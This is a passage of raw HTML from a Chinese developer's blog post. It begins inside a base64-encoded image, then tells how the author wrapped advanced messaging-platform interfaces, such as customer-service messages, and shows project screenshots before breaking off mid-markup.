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" alt="" width="496" height="66" />遇到了人生中比较重要的选择,我还在甄别这碗汤该怎么熬,熬到什么时候...还是且行且熬吧!</span></div><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;"><h4 style="margin: 40px 0px 10px; padding: 10px 0px 10px 10px; font-family: 'Microsoft YaHei', Arial; font-size: 24px; color: #008800; border-left-color: green; border-left-style: solid; border-left-width: thick; background-color: #f5f5f5; line-height: 23px;">统统走一遍:</strong></p></div><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;">&nbsp;</div><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;"><span style="font-family: Courier New;">&nbsp; &nbsp;时间追溯到寒假:年前的那段时间因为项目挤得太紧还未实现任何高级功能的接口封装,只记得那天是大年30,听着窗外的鞭炮声,苦逼的我在房间里研究高级接口,只为来年开发的时候方便一些,那晚也算是搞定了发送客服消息接口,随着时间的流逝,再到如今群发接口和支付接口的发布(此处两个接口还未实现),基本上接口已封装完成,接下来就跟我一起走一遍流程吧:</span></div><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;"><span style="font-family: Courier New;">&nbsp; &nbsp; &nbsp;先上项目截图:</span></div><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</div><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/461466/201404/182330053385375.png" alt="" /><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/461466/201404/182330160108281.png" alt="" width="253" height="555" /></div><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;"><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/461466/201404/182331301504797.png" alt="" /></div><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;"><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/461466/201404/182331421823189.png" alt="" width="283" height="143" /></div><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;"><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/461466/201404/182331574471591.png" alt="" /></div><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;">&nbsp;</div><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: 